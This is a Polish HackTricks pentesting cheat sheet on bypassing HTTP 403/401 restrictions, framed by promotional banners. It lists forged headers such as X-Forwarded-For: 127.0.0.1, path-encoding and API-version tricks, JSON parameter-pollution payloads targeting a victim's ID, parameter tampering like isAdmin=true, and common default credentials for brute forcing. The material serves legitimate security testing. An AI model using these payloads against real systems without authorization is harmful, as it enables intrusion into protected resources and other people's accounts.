403 & 401 Bypasses

Zacznij naukę hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Natychmiastowe dostępne narzędzie do oceny podatności i testów penetracyjnych. Uruchom pełne testy penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie, raportowanie. Nie zastępujemy testerów penetracyjnych - tworzymy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, zdobycie powłok i dobrą zabawę.

Fuzzowanie Metod/Werbsów HTTP

Spróbuj użyć różnych werbów do dostępu do pliku: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Sprawdź nagłówki odpowiedzi, być może zawierają jakieś informacje. Na przykład odpowiedź 200 na HEAD z Content-Length: 55 oznacza, że werb HEAD może uzyskać dostęp do informacji. Nadal jednak musisz znaleźć sposób na wydostanie tych informacji.

  • Użycie nagłówka HTTP takiego jak X-HTTP-Method-Override: PUT może nadpisać użyty werb.

  • Użyj werbu TRACE i jeśli masz szczęście, być może w odpowiedzi zobaczysz również nagłówki dodane przez pośrednie serwery proxy, które mogą być przydatne.

Fuzzowanie Nagłówków HTTP

  • Zmień nagłówek Host na jakąś arbitralną wartość (która zadziałała tutaj)

  • Spróbuj użyć innych agentów użytkownika do dostępu do zasobu.

  • Fuzzuj Nagłówki HTTP: Spróbuj użyć Nagłówków Proxy Headers, podstawowej autentykacji HTTP i próby siłowej NTLM (tylko z kilkoma kombinacjami) oraz innych technik. Do tego celu stworzyłem narzędzie fuzzhttpbypass.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Jeśli ścieżka jest chroniona, możesz spróbować ominąć ochronę ścieżki, używając tych innych nagłówków:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • Jeśli strona jest za proxy, być może to proxy uniemożliwia Ci dostęp do prywatnych informacji. Spróbuj nadużyć Smuglowania Żądań HTTP lub nagłówków hop-by-hop.

  • Fuzzuj specjalne nagłówki HTTP, szukając różnych odpowiedzi.

  • Fuzzuj specjalne nagłówki HTTP podczas fuzzowania Metod HTTP.

  • Usuń nagłówek Host i być może uda Ci się ominąć ochronę.

Fuzzowanie Ścieżki

Jeśli /ścieżka jest zablokowana:

  • Spróbuj użyć /%2e/ścieżka _(jeśli dostęp jest blokowany przez proxy, to może ominąć ochronę). Spróbuj również_** /%252e**/ścieżka (podwójne kodowanie URL)

  • Spróbuj ominięcia Unicode: /%ef%bc%8fścieżka (Zakodowane znaki URL są jak "/"), więc po zdekodowaniu będzie to //ścieżka i być może już ominąłeś sprawdzanie nazwy /ścieżka

  • Inne bypassy ścieżki:

  • site.com/secret –> HTTP 403 Forbidden

  • site.com/SECRET –> HTTP 200 OK

  • site.com/secret/ –> HTTP 200 OK

  • site.com/secret/. –> HTTP 200 OK

  • site.com//secret// –> HTTP 200 OK

  • site.com/./secret/.. –> HTTP 200 OK

  • site.com/;/secret –> HTTP 200 OK

  • site.com/.;/secret –> HTTP 200 OK

  • site.com//;//secret –> HTTP 200 OK

  • site.com/secret.json –> HTTP 200 OK (ruby)

  • Użyj całej tej listy w następujących sytuacjach:

  • /FUZZsecret

  • /FUZZ/secret

  • /secretFUZZ

  • Inne bypassy API:

  • /v3/users_data/1234 --> 403 Forbidden

  • /v1/users_data/1234 --> 200 OK

  • {“id”:111} --> 401 Unauthriozied

  • {“id”:[111]} --> 200 OK

  • {“id”:111} --> 401 Unauthriozied

  • {“id”:{“id”:111}} --> 200 OK

  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (Zanieczyszczenie Parametru JSON)

  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Zanieczyszczenie Parametru)

Manipulacja parametrami

  • Zmień wartość parametru: Z id=123 --> id=124

  • Dodaj dodatkowe parametry do adresu URL: ?id=124 —-> id=124&isAdmin=true

  • Usuń parametry

  • Zmień kolejność parametrów

  • Użyj znaków specjalnych.

  • Przeprowadź testowanie granic w parametrach — podaj wartości takie jak -234 lub 0 lub 99999999 (tylko przykładowe wartości).

Wersja protokołu

Jeśli używasz HTTP/1.1, spróbuj użyć 1.0 lub nawet sprawdź, czy obsługuje 2.0.

Inne metody bypassowania

  • Pobierz IP lub CNAME domeny i spróbuj się z nią bezpośrednio skontaktować.

  • Spróbuj obciążyć serwer wysyłając zwykłe żądania GET (To zadziałało dla tego gościa z Facebookiem).

  • Zmień protokół: z http na https, lub z https na http

  • Przejdź do https://archive.org/web/ i sprawdź, czy w przeszłości ten plik był dostępny na całym świecie.

Atak Brute Force

  • Zgadnij hasło: Wypróbuj następujące powszechne dane uwierzytelniające. Czy wiesz coś o ofierze? A może nazwie wyzwania CTF?

  • Atak Brute Force: Wypróbuj uwierzytelnianie podstawowe, digest i NTLM.

Powszechne dane uwierzytelniające
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

Automatyczne narzędzia

Natychmiastowa konfiguracja dostępna do oceny podatności i testów penetracyjnych. Uruchom pełne testy penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie, aż po raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, zdobycie powłok i dobrą zabawę.

Zacznij od zera i zostań ekspertem w hakowaniu AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated